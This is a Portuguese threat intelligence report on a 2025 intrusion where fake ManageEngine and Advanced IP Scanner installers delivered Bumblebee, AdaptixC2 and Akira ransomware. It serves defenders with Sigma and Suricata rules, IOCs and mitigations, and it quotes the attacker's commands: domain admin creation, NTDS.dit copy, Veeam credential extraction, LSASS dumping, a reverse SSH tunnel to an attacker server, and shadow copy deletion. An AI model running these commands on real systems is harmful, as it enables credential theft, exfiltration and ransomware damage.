Bumblebee, AdaptixC2 e Akira

01Sumário executivo

Em julho de 2025, uma organização foi comprometida a partir de uma busca comum no Bing. Um usuário que procurava pelo ManageEngine OpManager, ferramenta de monitoramento de redes, chegou ao domínio sósia opmanager[.]pro e baixou o arquivo ManageEngine-OpManager.msi. O instalador instalava o produto verdadeiro e, em paralelo, carregava o loader Bumblebee por carregamento lateral de DLL (DLL side-loading) [1]. O caso foi investigado pelo The DFIR Report, divulgado a clientes em julho de 2025, publicado como alerta em agosto de 2025 em parceria com o Swisscom B2B CSIRT (Computer Security Incident Response Team) e detalhado no relatório completo de 29 de junho de 2026, que reúne dados das duas intrusões [1] [2].

Cerca de cinco horas depois da execução, o Bumblebee entregou um beacon do AdaptixC2, framework de pós-exploração de código aberto, injetado numa cópia renomeada do Catálogo de Endereços do Windows [1] [3]. Ainda no primeiro dia o ator criou as contas backup_DA e backup_EA e incluiu a segunda no grupo Enterprise Admins. No segundo dia copiou o NTDS.dit com o wbadmin.exe e instalou o RustDesk; no terceiro abriu um túnel SSH reverso para o RDP de um controlador de domínio, extraiu a memória do LSASS de três hosts com o lsassy e exfiltrou cerca de 77 GB de um servidor de arquivos para um servidor na Ucrânia. As credenciais do Veeam foram extraídas do seu banco PostgreSQL [1].

A cifragem pelo Akira começou cerca de 44 horas após o acesso inicial, pelo servidor de backup. No quinto dia o ator voltou pelo RustDesk, chegou por RDP ao controlador do domínio filho e executou o ransomware 39 vezes nele [1].

Para quem defende uma rede Windows com Active Directory, três medidas atacam a cadeia no ponto mais barato: impedir que instaladores baixados da internet sejam executados em servidores, tratar a inclusão em grupos privilegiados e o wbadmin apontado para o NTDS.dit como incidentes imediatos, e bloquear SSH e SFTP de saída a partir de servidores internos [1]. Os IOCs (Indicators of Compromise) da seção 15 servem para caça retroativa; as detecções comportamentais da seção 13 continuam válidas quando a infraestrutura mudar.

02Identificação do objeto analisado

03Contexto técnico: envenenamento de SEO e loaders

Envenenamento de SEO é a manipulação de resultados de busca para que um site malicioso apareça no topo quando alguém procura por um termo específico [1] [4]. A técnica é eficaz contra profissionais de TI porque eles procuram exatamente os nomes de ferramentas administrativas. O download parece rotina, e o instalador, em vez de falhar, entrega o produto esperado junto com o malware. O The DFIR Report destaca que a escolha de imitar ferramentas como o ManageEngine é deliberada: mira usuários com privilégio elevado e aumenta a chance de execução em servidores críticos [1].

3.1Loader: a primeira hora de um comprometimento completo

O Bumblebee é um loader: um malware cuja função é obter um ponto de apoio e carregar a etapa seguinte [1] [4]. Loaders separam o trabalho de conseguir o acesso do trabalho de explorá-lo. Por isso uma infecção por loader nunca deve ser tratada como "só um malware": neste caso, a mesma infecção levou ao comprometimento de toda a floresta do Active Directory.

3.2AdaptixC2: um framework de teste de invasão reaproveitado

O AdaptixC2 é um framework de pós-exploração e emulação adversária de código aberto, publicado para testes de invasão autorizados [3] [5]. Seus agentes falam HTTP, SMB e TCP, executam BOFs (Beacon Object Files) em memória e têm a configuração cifrada com RC4 [3]. A Unit 42 passou a observá-lo em ataques reais a partir de maio de 2025 [3]. Neste caso o beacon usou o perfil HTTP com as configurações padrão do framework, e o The DFIR Report conseguiu extrair a sua configuração da memória [1].

3.3Carregamento lateral de DLL

No carregamento lateral de DLL, o atacante coloca uma DLL maliciosa na mesma pasta de um executável legítimo que a importa. Pela ordem de busca de DLLs do Windows, o executável carrega primeiro a cópia da própria pasta, e o código malicioso roda dentro de um processo assinado pela Microsoft [1]. A msimg32.dll é uma dependência legítima e esperada do consent.exe, o binário das janelas de controle de conta de usuário, que em condições normais só existe em C:\Windows\System32 [1]. Um consent.exe fora dessa pasta é, por si só, um alerta de alta confiança (seção 13).

04A campanha: ondas, infraestrutura e casos relacionados

A intrusão faz parte de uma campanha de envenenamento de SEO com o Bumblebee identificada pela Cyjax em maio de 2025 [1]. A operação usava uma arquitetura padronizada em duas camadas [1]:

1. Camada 1, fachadas de imitação: domínios como opmanager[.]pro e zenmap[.]pro, exibidos nos resultados do Bing, com cópias fiéis das páginas de download legítimas [1].
2. Camada 2, gateways de entrega: servidores que hospedam os MSIs adulterados e usam um parâmetro uniforme, /Get?q=<nome_da_ferramenta>, para servir pacotes diferentes a partir da mesma infraestrutura. O padrão é um bom ponto de pivotagem em plataformas como o urlscan.io [1].

Foram observadas duas ondas de atividade, com infraestrutura sobreposta: todos os gateways resolviam para a Hostinger (AS47583) e compartilhavam um certificado de assinatura emitido para "LLC Vector" [1]:

4.1Campanha possivelmente relacionada: Ivanti VPN

Em outubro de 2025, a Zscaler documentou uma campanha paralela contra quem buscava pelo Ivanti VPN, com o mesmo modelo de duas camadas e o mesmo parâmetro /Get?q= [1]. Os gateways dessa campanha (netml[.]shop e shopping5[.]shop) usavam o mesmo IP de preparação na Hostinger (84.32.84[.]32) que o gateway soft-server[.]online da onda 1 [1]. As diferenças, porém, são relevantes: o payload era um ladrão de credenciais de VPN, e não o Bumblebee; o MSI era assinado por uma empresa chinesa (Hefei Qiangwei Network Technology); e o comando e controle usava um IP fixo no Azure (4.239.95[.]1:8080), sem DGA [1].

4.2A intrusão do Swisscom B2B CSIRT

Na intrusão paralela, um administrador de TI acessou ip-scanner[.]org, que imitava o portal do Advanced IP Scanner, e baixou o Advanced-IP-Scanner.msi diretamente num servidor de gerência [1]. O restante da cadeia divergiu em pontos que interessam à detecção e são tratados nas seções seguintes: o beacon do AdaptixC2 veio após 40 minutos, a persistência usou o cloudflared, houve tentativa de desligar o antivírus com drivers vulneráveis e o ransomware começou após 9 horas [1].

05Acesso inicial e execução

A busca por "ManageEngine OpManager" no Bing levou o usuário a opmanager[.]pro, que redirecionou o download para download-center[.]online [1]. A análise forense do histórico do navegador reconstruiu a sequência de redirecionamentos [1]. O usuário moveu o MSI para um compartilhamento interno da rede, e dali um administrador de TI o copiou para um servidor e o executou a partir da área de trabalho; a telemetria mostra o explorer.exe como processo pai, confirmando a execução manual [1].

5.1O instalador e o carregamento lateral

O MSI gravou três binários na pasta ApplicationInstallationFolder_11, dentro do perfil do usuário [1]:

1. ManageEngine_OpManager_64bit.exe: o software legítimo, usado como isca para não levantar suspeita [1].
2. consent.exe: binário legítimo do Windows, que inicia a cadeia de execução [1].
3. msimg32.dll: o primeiro estágio do Bumblebee, carregado automaticamente pelo processo legítimo [1].

Os metadados da DLL são palavras de dicionário sem sentido, um padrão conhecido do construtor do Bumblebee e útil para assinaturas YARA, porque essas cadeias praticamente não aparecem em software benigno [1]. A regra Sigma "System File Execution Location Anomaly" disparou nesta intrusão justamente pela execução do consent.exe fora do lugar [1].

5.2Geofencing e DGA

Ao ser carregado, o Bumblebee consultou o idioma do sistema com GetSystemDefaultLocaleName() e o comparou com uma lista fixa de 27 localidades da CEI (Comunidade dos Estados Independentes), como Rússia, Ucrânia e Belarus; havendo coincidência, encerrava a própria execução [1]. Passada a verificação, o loader começou a consultar domínios gerados por algoritmo (DGA, Domain Generation Algorithm) e conectou-se a 188.40.187[.]145:443 e 109.205.195[.]211:443, por meio de dois desses domínios [1].

5.3A troca do loader pelo beacon

Cerca de cinco horas após a execução, o Bumblebee gravou o AdgNsy.exe, uma cópia renomeada do WAB.exe, e o executou por WMI (Windows Management Instrumentation), de modo que o processo nasceu sob o WmiPrvSE.exe [1]. A telemetria registrou:

ParentImage: C:\Windows\System32\wbem\WmiPrvSE.exe
ParentCommandLine: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
OriginalFileName: WAB.EXE
CommandLine: C:\Users\<redacted>\AppData\Local\AdgNsy.exe

Em seguida, o consent.exe controlado pelo Bumblebee abriu um handle sobre o AdgNsy.exe e injetou nele o shellcode do AdaptixC2 (seção 6.2). O beacon passou a falar com 172.96.137[.]160 e, a partir daí, o ator operou com um framework completo de pós-exploração [1]. Um pico de tráfego entre o Bumblebee e 109.205.195[.]211 no mesmo momento indica que esse endereço serviu o download do payload [1].

06Evasão de defesa

6.1Carregamento lateral confirmado

Os eventos do Sysmon registraram a criação de processo e a carga de imagem anômalas do consent.exe realocado, e a análise estática com o PEStudio confirmou que a msimg32.dll é uma dependência importada pelo binário legítimo [1].

6.2Injeção de processo

O evento 10 do Sysmon (ProcessAccess) registrou o consent.exe obtendo um handle sobre o AdgNsy.exe logo após a sua execução, com uma pilha de chamadas passando por um módulo sem arquivo em disco [1]. A análise de memória do AdgNsy.exe mostrou uma thread com ponto de entrada fora da imagem do binário e várias regiões privadas com permissão de leitura, escrita e execução (RWX), além das cadeias de configuração do comando e controle, ausentes no arquivo em disco [1]. Reproduzindo a execução em laboratório, os analistas usaram o PE-sieve para extrair o módulo em memória do consent.exe, que continha rotinas de verificação de ambiente e de virtualização, manipulação de payload cifrado e injeção de processo [1] [7].

6.3Exclusão de arquivos e ofuscação de comandos

O evento 23 do Sysmon mostrou a exclusão dos loaders iniciais e de registros de reconhecimento para reduzir a pegada local [1]. O ator também alternou maiúsculas e minúsculas nos nomes dos executáveis, como CmD.eXe e pOWerShELl.exE, para escapar de assinaturas que comparam texto de forma sensível a caixa [1].

6.4BYOVD no caso do Swisscom

Na intrusão paralela, o ator tentou neutralizar a proteção de endpoint com drivers vulneráveis (BYOVD, Bring Your Own Vulnerable Driver), gravados em %TEMP% e registrados como serviços [1]:

Service: mgdsrv    | Path: ...\AppData\Local\Temp\rwdrv.sys
Service: KMHLPSVC  | Path: ...\AppData\Local\Temp\hlpdrv.sys

O histórico de execução gráfica (artefato RecentApps) apontou utilitários "AV killer" em C:\ProgramData\av_kill_new\icardagt\icardagt.exe e C:\ProgramData\av_kill_old\mfpmp\mfpmp.exe, já apagados quando a coleta foi feita [1].

07Persistência e controle de contas

net user backup_DA P@ssw0rd1234 /add /dom
net user backup_EA P@ssw0rd1234 /add /dom
net group "enterprise admins" backup_EA /add /dom

No segundo dia, o ator redefiniu com net user administrator P@ssw0rd! a senha do administrador local dos servidores de arquivos e de backup e, mais tarde, reativou a conta Administrator do domínio no controlador de domínio principal com net user administrator /active:yes /dom [1]. Ao longo da intrusão, alternou entre nove contas diferentes [1].

7.2RustDesk como serviço

No segundo dia, o ator usou RDP para chegar a dois servidores e instalou neles o RustDesk, registrado como serviço do Windows e executado na bandeja do sistema (RustDesk.exe --tray) [1]. No terceiro dia reentrou por ele: um logon interativo (tipo 2) a partir de 127.0.0.1 seguido da execução do gerenciador de conexões (RustDesk.exe --cm) confirmou uma sessão remota, e os registros do RustDesk mostraram horas de compartilhamento de tela e de área de transferência [1]. No quinto dia, foi pelo RustDesk que o ator voltou para cifrar o domínio filho (seção 11).

7.3Cloudflared no caso do Swisscom

Na intrusão paralela, a persistência num controlador de domínio veio do cloudflared, o cliente de túnel da Cloudflare, instalado como serviço por um script PowerShell chamado 1.ps1 [1]. O túnel sai da rede por HTTPS, dispensa abrir portas e passa pela infraestrutura da Cloudflare, que parece legítima. Pelos comentários e mensagens do script, o The DFIR Report avalia que ele provavelmente foi escrito com ferramentas de IA generativa [1].

/c systeminfo
/c nltest /dclist:
/c whoami /groups
/c nltest /domain_trusts
/c quser /server:REDACTED.lan
/c net group "domain admins" /dom
/c ping -n 1 REDACTED.lan

No segundo dia, já no controlador de domínio com uma conta nova, o ator repetiu systeminfo e as consultas net user e net group, e abriu no Bloco de Notas o registro do backup que acabara de fazer. No terceiro dia, rodou o SoftPerfect Network Scanner renomeado (n.exe) no controlador de domínio, cuja execução se confirma pelo tráfego SMB e pelo arquivo delete.me que a ferramenta cria ao testar permissão de escrita [1]. Nos servidores de arquivos e de backup, enumerou contas e grupos locais [1].

Ainda no terceiro dia, um script PowerShell enumerou os SPNs (Service Principal Names) de serviços específicos, resolveu os nomes para IPs e gravou o resultado em spn.txt; em seguida o ator executou [1]:

Invoke-ShareFinder -CheckShareAccess -Verbose | Out-File -Encoding ascii C:\programdata\shares.txt

No quinto dia, no controlador do domínio filho, o ator exportou todos os computadores e usuários do Active Directory e as zonas DNS, e repetiu o Invoke-ShareFinder e o script de SPNs [1]:

Get-ADComputer -Server 10.REDACTED -Filter * -Property * | Select-Object Enabled, Name,
    DNSHostName, IPv4Address, OperatingSystem, ... | export-csv -path C:\ProgramData\AdComputers.csv
Get-ADUser -Server 10.REDACTED -Filter * -Properties * | Select-Object Enabled, CanonicalName,
    SamAccountName, MemberOf, ... | export-csv -path C:\ProgramData\AdUsers.csv
Get-DnsServerZone -ComputerName REDACTED.lan
Export-DnsServerZone -Name "REDACTED.lan" -FileName "REDACTED.lan.txt"
Export-DnsServerZone -Name "TrustAnchors" -FileName "TrustAnchors.txt"

8.1Coleta automatizada de credenciais e dados

Os eventos 5145 (acesso a compartilhamento de rede) do servidor de arquivos mostraram uma varredura automatizada, imediatamente antes da instalação do FileZilla, por locais típicos de credenciais e dados sensíveis no perfil do Administrator [1]. O evento registra a tentativa mesmo quando a pasta não existe, então a lista mostra o que o ator procurou, não o que encontrou [1]:

09Acesso a credenciais

9.1Cópia do NTDS.dit com o wbadmin

No segundo dia, com a conta backup_EA, o ator chegou por RDP a um controlador de domínio e usou o wbadmin.exe para criar um backup com o NTDS.dit e as colmeias SYSTEM e SECURITY, preparados em C:\ProgramData [1]:

wbadmin.exe start backup -backuptarget:\\127.0.0.1\C$\ProgramData\
    -include:C:\windows\NTDS\ntds.dit,C:\windows\system32\config\SYSTEM,C:\windows\system32\config\SECURITY
    -quiet

O NTDS.dit é o banco do Active Directory, com os hashes de senha de todas as contas do domínio; com a colmeia SYSTEM, que guarda a chave para decifrá-los, o ator passa a poder quebrar ou reutilizar essas credenciais fora da rede. O uso do utilitário oficial de backup evita levar ferramentas conhecidas de dump ao controlador de domínio [1].

9.2Credenciais do Veeam

Mesmo já tendo privilégio de administrador de domínio, o ator extraiu as credenciais guardadas no banco PostgreSQL do Veeam, no servidor de backup. A consulta foi executada quatro vezes a partir de duas contas: três vezes em sessões RDP e uma vez remotamente por WMI, com um script PowerShell codificado que chamava o psql.exe [1]:

C:\Program Files\PostgreSQL\15\bin\psql.exe -U postgres --csv -d VeeamBackup -w
    -c "SELECT user_name,password,description,change_time_utc FROM credentials"

O script decodificado decifrava as senhas pela DPAPI, tratando tanto o formato antigo do Veeam quanto o novo, com um salt fixo no código [1].

9.3Dump remoto do LSASS com o lsassy

No terceiro dia, o ator extraiu a memória do processo LSASS de três hosts com a técnica MiniDump da comsvcs.dll, alternando quatro métodos de execução remota por host em cerca de 50 segundos: serviço via SMB, WMI, tarefa agendada e DCOM (objeto MMC20.Application) [1]:

Image: C:\Windows\System32\rundll32.exe
CommandLine: rundll32.exe C:\windows\System32\comsvcs.dll, #+000024 <PID> \Windows\Temp\<random>.<ext> full

Os dumps foram gravados em \Windows\Temp com nomes aleatórios e extensões enganosas: G7wO.sys, U8Vfsh.docx e AsaZQZDJz.avhdx [1]. A ordem dos métodos (smb, wmi, task, mmc), as extensões e a pasta coincidem com os padrões do lsassy, que usa o Impacket por baixo, o que torna a atribuição à ferramenta de alta confiança [1] [6].

10Movimento lateral e comando e controle

10.1RDP com a conta de Enterprise Admin

O principal vetor de movimento lateral foi o RDP nativo do Windows [1]. Com a conta backup_EA, o ator acessou quase todas as instâncias de RDP do ambiente; o salto decisivo foi do beachhead para o controlador de domínio [1].

10.2Túnel SSH reverso para o RDP

No terceiro dia, já no controlador de domínio, o ator usou o cliente SSH nativo do Windows para abrir um túnel reverso até um servidor externo [1]:

ssh root@193.242.184[.]150 -R *:10400 -p22

A opção -R *:10400 abre a porta 10400 em todas as interfaces do servidor do ator e a liga a um recurso interno; os registros confirmaram a ligação com a porta local de RDP (3389). Com isso, o ator passou a ter acesso gráfico direto à rede interna, contornando o firewall [1]. Logo depois, houve logons no controlador de domínio a partir de estações chamadas WORK e kali [1]. A mesma técnica foi usada de novo, num outro servidor, no quinto dia; no caso do Swisscom, o túnel foi ssh -p22 socat1@83.229.17[.]60 -R 5554 [1].

10.3Canais de comando e controle

A tabela a seguir reúne os canais usados nas duas intrusões:

11Exfiltração e impacto

11.1Exfiltração pelo túnel SSH

A primeira transferência relevante ocorreu logo após a criação do túnel SSH no controlador de domínio: cerca de 2,5 GB saíram para 193.242.184[.]150 na porta 22, num período concentrado [1]. Os eventos 5145 mostram o acesso ao compartilhamento SYSVOL no mesmo momento, o que indica que a SYSVOL, com os objetos de política de grupo, scripts de logon e configurações do domínio, foi provavelmente exfiltrada [1].

11.2Exfiltração principal pelo FileZilla

O FileZilla foi o principal canal de exfiltração. No terceiro dia, cerca de 39 horas após o acesso inicial, o ator executou C:\ProgramData\FileZilla_3.68.1_win64_sponsored2-setup.exe no servidor de arquivos e conectou-se a 185.174.100[.]203:22, na Ucrânia [1]. O instalador foi criado pelo explorer.exe logo após execuções do rdpclip, o que indica que chegou pela área de transferência da sessão RDP [1]. Não houve compactação nem seleção aparente: o ator provavelmente levou arquivos dos compartilhamentos de forma indiscriminada, com interesse especial em dados de usuários e credenciais [1]:

O arquivo recentservers.xml do FileZilla mostrou o usuário Stark, com senha digitada a cada conexão (tipo de logon 2) e protocolo SFTP [1]. O destino estava na AS-COLOCROSSING [1]. Antes de cifrar o servidor de arquivos, o ator desinstalou o FileZilla, provavelmente para apagar vestígios da exfiltração [1].

11.3Implantação do Akira

Cerca de 44 horas após o acesso inicial, a cifragem começou pelo servidor de backup [1]:

C:\ProgramData\locker.exe -p=G:\ -n=15

A opção -p define o caminho a cifrar e -n, a porcentagem de cada arquivo que é cifrada, uma forma de acelerar a cifragem [1]. No servidor de arquivos o ransomware foi executado localmente; a partir do controlador de domínio, o ator usou as opções de execução remota para atingir compartilhamentos de rede e fez várias passagens adicionais por outros diretórios, acompanhando o progresso pelos registros gerados pelo próprio ransomware [1].

Em todos os hosts, cerca de um segundo após cada execução do locker.exe, o ransomware apagou as cópias de sombra de volume (Volume Shadow Copies) por WMI [1]:

powershell.exe -Command "Get-WmiObject Win32_Shadowcopy | Remove-WmiObject"

No quinto dia, o ator voltou pelo RustDesk, chegou por RDP ao controlador do domínio filho e executou o ransomware 39 vezes nesse host [1].

wmic /node:@C:\temp\hosts1.txt /failfast:on service where "Name Like '%sql%'" call ChangeStartmode Disabled
wmic /node:@C:\temp\hosts1.txt /failfast:on service where "Name Like '%iis%'" call ChangeStartmode Disabled
wmic /node:@C:\temp1\hosts.txt /failfast:on process where "CommandLine Like '%sql%'" delete
.\win.exe -n=2 netonly

O ransomware, renomeado para win.exe e preparado em C:\ProgramData, foi executado com -n=2 e netonly, provavelmente para concentrar a cifragem nos recursos de rede [1].

12Linha do tempo da intrusão

Os horários exatos foram omitidos na publicação original; a tabela ordena os eventos pelo dia e pelos intervalos que a fonte informa [1]:

13Detecção

A ordem vai do mais barato e abrangente ao mais caro e específico. As regras marcadas como derivadas foram escritas pelo CiberLab; a seção 13.7 lista as regras que o The DFIR Report publicou para o caso.

13.1DNS e proxy web

Pesquise nos registros de DNS e de proxy acessos às fachadas e gateways da tabela 3 e aos domínios DGA da seção 15, desde maio de 2025. Procure também pelo padrão de URL /Get?q= em domínios desconhecidos, característico dos gateways de entrega [1]. Qualquer acesso seguido do download de um arquivo .msi justifica verificar onde esse arquivo foi parar, inclusive em compartilhamentos internos.

alert tcp $HOME_NET any -> [192.121.22.94,109.205.195.211,
    188.40.187.145,171.22.183.43,194.127.178.21] any
    (msg:"CIBERLAB BUMBLEBEE C2 AKIRA CAMPAIGN";
    flow:to_server; classtype:trojan-activity; sid:1000101; rev:2;)

alert tcp $HOME_NET any -> [172.96.137.160,170.130.55.223] any
    (msg:"CIBERLAB ADAPTIXC2 BEACON AKIRA CAMPAIGN";
    flow:to_server; classtype:trojan-activity; sid:1000102; rev:2;)

alert tcp $HOME_NET any -> [193.242.184.150,185.174.100.203,
    83.229.17.60] 22
    (msg:"CIBERLAB AKIRA CAMPAIGN SSH TUNNEL OR SFTP EXFILTRATION";
    flow:to_server; classtype:policy-violation; sid:1000103; rev:2;)

alert dns $HOME_NET any -> any any
    (msg:"CIBERLAB BUMBLEBEE SEO POISONING DOMAIN LOOKUP"; dns.query;
    pcre:"/(^|\.)(opmanager\.pro|zenmap\.pro|ip-scanner\.org|
    download-center\.online|soft-hub\.pro|download-server\.online|
    soft-server\.online)$/i";
    classtype:trojan-activity; sid:1000104; rev:2;)

Independentemente dos endereços, alerte qualquer conexão SSH (porta 22) de saída originada em servidores Windows: foi o canal do túnel reverso e da exfiltração neste caso [1].

title: consent.exe Executado Fora das Pastas do Sistema (Bumblebee)
id: 02247b09-54b8-45ee-a382-35f35db8cbe0
status: experimental
description: Detecta consent.exe fora do System32, hospedeiro do carregamento lateral de msimg32.dll
author: Lucas Rayan Guerra (CiberLab)
references:
    - https://thedfirreport.com/2026/06/29/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira-3/
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\consent.exe'
    filter_legit:
        Image|startswith:
            - 'C:\Windows\System32\'
            - 'C:\Windows\SysWOW64\'
    condition: selection and not filter_legit
falsepositives:
    - Desconhecidos
level: high
tags:
    - attack.defense_evasion
    - attack.t1574.001

Para o beacon, a regra usa o nome original do executável e o processo pai:

title: WAB.exe Renomeado ou Iniciado por WMI (AdaptixC2)
id: b95ca178-8a4c-43a7-af7a-af2f37234716
status: experimental
description: Detecta o Catalogo de Enderecos do Windows com outro nome, fora do lugar ou filho do WmiPrvSE
author: Lucas Rayan Guerra (CiberLab)
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        OriginalFileName: 'WAB.EXE'
    filter_legit:
        Image|endswith: '\Windows Mail\wab.exe'
    selection_wmi:
        OriginalFileName: 'WAB.EXE'
        ParentImage|endswith: '\WmiPrvSE.exe'
    condition: (selection and not filter_legit) or selection_wmi
falsepositives:
    - Desconhecidos
level: high
tags:
    - attack.defense_evasion
    - attack.t1036
    - attack.t1055

title: wbadmin Copiando o NTDS.dit
id: 67f11947-aeed-4da4-baa3-38bc6d29ac43
status: experimental
description: Detecta wbadmin start backup incluindo o banco NTDS.dit do Active Directory
author: Lucas Rayan Guerra (CiberLab)
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\wbadmin.exe'
        CommandLine|contains|all:
            - 'start backup'
            - 'ntds.dit'
    condition: selection
falsepositives:
    - Backups manuais do AD feitos por administradores
level: high
tags:
    - attack.credential_access
    - attack.t1003.003

E para a leitura das credenciais do Veeam:

title: Leitura da Tabela de Credenciais do Veeam via psql
id: ce797567-c539-4326-a6c1-b7949e5a6560
status: experimental
description: Detecta psql.exe consultando a tabela credentials do banco VeeamBackup
author: Lucas Rayan Guerra (CiberLab)
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\psql.exe'
        CommandLine|contains|all:
            - 'VeeamBackup'
            - 'credentials'
    condition: selection
falsepositives:
    - Manutencao do banco do Veeam pelo suporte do fabricante
level: high
tags:
    - attack.credential_access
    - attack.t1555

title: Tunel SSH Reverso Aberto pelo Cliente Nativo do Windows
id: 5c3d8f21-6a4e-4b9b-8e71-2f0d9a6c1b47
status: experimental
description: Detecta ssh.exe com encaminhamento reverso de porta (-R), usado para expor o RDP interno
author: Lucas Rayan Guerra (CiberLab)
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\ssh.exe'
        CommandLine|contains: ' -R '
    condition: selection
falsepositives:
    - Administradores usando tuneis SSH legitimos a partir de servidores (raro)
level: high
tags:
    - attack.command_and_control
    - attack.t1572

E para a instalação do RustDesk como serviço:

title: Servico RustDesk Instalado em Servidor
id: 68d7d7b8-1358-4dcd-907d-6a35859a5201
status: experimental
description: Detecta a instalacao do RustDesk como servico do Windows
author: Lucas Rayan Guerra (CiberLab)
logsource:
    product: windows
    service: system
detection:
    selection:
        Provider_Name: 'Service Control Manager'
        EventID: 7045
        ImagePath|contains: 'rustdesk'
    condition: selection
falsepositives:
    - Uso homologado do RustDesk pela equipe de suporte
level: high
tags:
    - attack.persistence
    - attack.t1543.003
    - attack.command_and_control
    - attack.t1219

13.6Active Directory: contas e grupos

Três famílias de eventos devem gerar alerta imediato, sem limiar: inclusão em grupos privilegiados (eventos 4728 e 4756, como backup_EA em Enterprise Admins), criação de contas de domínio (evento 4720) e reativação ou troca de senha de contas Administrator (eventos 4722 e 4724) [1]. As três ocorreram nos dois primeiros dias desta intrusão, antes de qualquer cifragem.

13.7Regras publicadas pelo The DFIR Report

O relatório original lista as seguintes detecções que dispararam ou se aplicam ao caso [1]:

14Mitigação e resposta

14.1Contenção

1. Isole os hosts afetados da rede, sem desligá-los, para preservar a memória: o beacon do AdaptixC2 existe só em memória dentro do AdgNsy.exe [1].
2. Bloqueie os endereços e domínios da seção 15 e todo SSH e SFTP de saída a partir de servidores [1].
3. Desative imediatamente as contas backup_DA, backup_EA, qualquer conta criada ou reativada na janela do incidente e a conta Administrator do domínio, se não for usada [1].
4. Isole o servidor de backup antes de qualquer tentativa de restauração [1].

14.2Erradicação

1. Remova o RustDesk e o cloudflared de todos os servidores, procurando os serviços em todo o parque, e não só nos hosts já identificados [1].
2. Redefina duas vezes a senha da conta KRBTGT, respeitando a replicação, porque o NTDS.dit foi copiado com o hash dessa conta [1].
3. Troque as senhas de todas as contas do domínio, começando pelas nove usadas pelo ator, pelas privilegiadas e pelas de serviço, e todas as credenciais guardadas no Veeam [1].
4. Revogue e reemita certificados, chaves de nuvem e credenciais de gerenciadores de senha dos perfis que a coleta automatizada vasculhou (tabela 4) [1].
5. Reconstrua o beachhead a partir de mídia limpa [1].

14.3Avaliação de alcance

Trate como exposto o conteúdo dos compartilhamentos do servidor de arquivos e a SYSVOL [1]. A SYSVOL pode conter scripts de logon e preferências de política de grupo com senhas; revise-a. Avalie as obrigações de comunicação de incidente com dados pessoais, no Brasil à ANPD (Autoridade Nacional de Proteção de Dados) e aos titulares, conforme o art. 48 da Lei nº 13.709/2018 (LGPD).

14.4Prevenção estrutural

1. Origem única de software: distribua ferramentas administrativas por um repositório interno, com hash conferido contra o fabricante e assinatura digital válida, e proíba instalar downloads avulsos em servidores [1].
2. Controle de aplicações: use WDAC (Windows Defender Application Control) ou AppLocker em servidores, bloqueando executáveis, MSIs e drivers fora da lista de permissão; a lista de bloqueio de drivers vulneráveis da Microsoft reduz o risco de BYOVD [1].
3. Separação de privilégio: administradores não navegam na internet com a conta administrativa nem a partir de servidores [1].
4. Filtragem de domínios novos: bloqueie no proxy domínios recém-registrados e categorias de anúncios, onde a infraestrutura de envenenamento de SEO costuma nascer [1] [4].
5. Proteção do LSASS: ative o LSA Protection (RunAsPPL) e o Credential Guard, que dificultam o dump via comsvcs.dll [1].
6. Backup resiliente: ao menos uma cópia imutável ou fora de linha, com credenciais e domínio separados da produção [1].

14.5Mapeamento MITRE ATT&CK

Técnicas do mapeamento publicado pelo The DFIR Report [1], acrescidas de técnicas descritas no texto do relatório. IDs e nomes conferidos na base oficial do MITRE ATT&CK para Enterprise [8]:

15Indicadores de comprometimento

Todos os indicadores vêm da fonte primária [1], transcritos da seção "Indicators" e do corpo do relatório. Domínios e endereços estão desarmados:

16Limitações da análise

1. Sem detonação nem análise de amostra: o CiberLab não executou, desmontou nem observou nenhum dos artefatos. Todo o comportamento descrito vem das referências, principalmente do relatório completo do The DFIR Report [1].
2. Fonte primária lida a partir de cópia salva: o relatório [1] foi lido na íntegra a partir de uma cópia salva da página original, porque o domínio estava inacessível no ambiente de produção deste documento. Pelo mesmo motivo, as URLs das referências [1] [2] [3] [4] não puderam ser abertas daqui; a existência dos repositórios [5] [6] [7] e os códigos MITRE [8] foram conferidos diretamente nas fontes oficiais.
3. Horários omitidos na origem: a publicação original ocultou os horários exatos. A tabela 7 usa os dias e os intervalos informados pela fonte.
4. Divergências menores na fonte: além do domínio DGA citado na seção 15, a fonte arredonda a segunda sessão de exfiltração para 41,77 GB, enquanto a contagem de bytes que ela mesma apresenta corresponde a 41,18 GB; este relatório usa a contagem de bytes. A soma das duas sessões (80,46 GB em unidades decimais) supera os 77 GB informados, provavelmente por diferença entre unidades decimais e binárias.
5. Regras derivadas: as regras Sigma e Suricata marcadas como derivadas foram escritas pelo CiberLab a partir do comportamento descrito na fonte e não foram testadas em produção. Ajuste os filtros de falso positivo antes de usá-las em bloqueio.
6. Figuras não reproduzidas: a linha do tempo gráfica, o modelo diamante e as capturas de tela do relatório original não foram reproduzidos. Consulte a fonte [1] para as evidências visuais.